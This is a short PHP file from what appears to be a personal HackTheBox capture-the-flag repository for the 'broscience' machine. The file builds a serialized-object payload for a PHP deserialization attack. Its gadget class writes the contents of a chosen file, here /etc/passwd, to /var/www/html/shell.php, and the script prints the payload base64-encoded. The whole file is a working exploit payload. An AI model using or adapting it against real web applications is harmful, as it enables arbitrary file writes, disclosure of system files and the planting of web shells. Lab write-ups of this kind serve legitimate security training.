Files
CTF/HTB/broscience/ape.php
Simon 82b0759f1e init htb
old htb folders
2023-08-29 21:53:22 +02:00

30 lines
565 B
PHP

<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "/etc/passwd";
public $imgPath = "/var/www/html/shell.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$a = new AvatarInterface();
echo base64_encode(serialize($a));
?>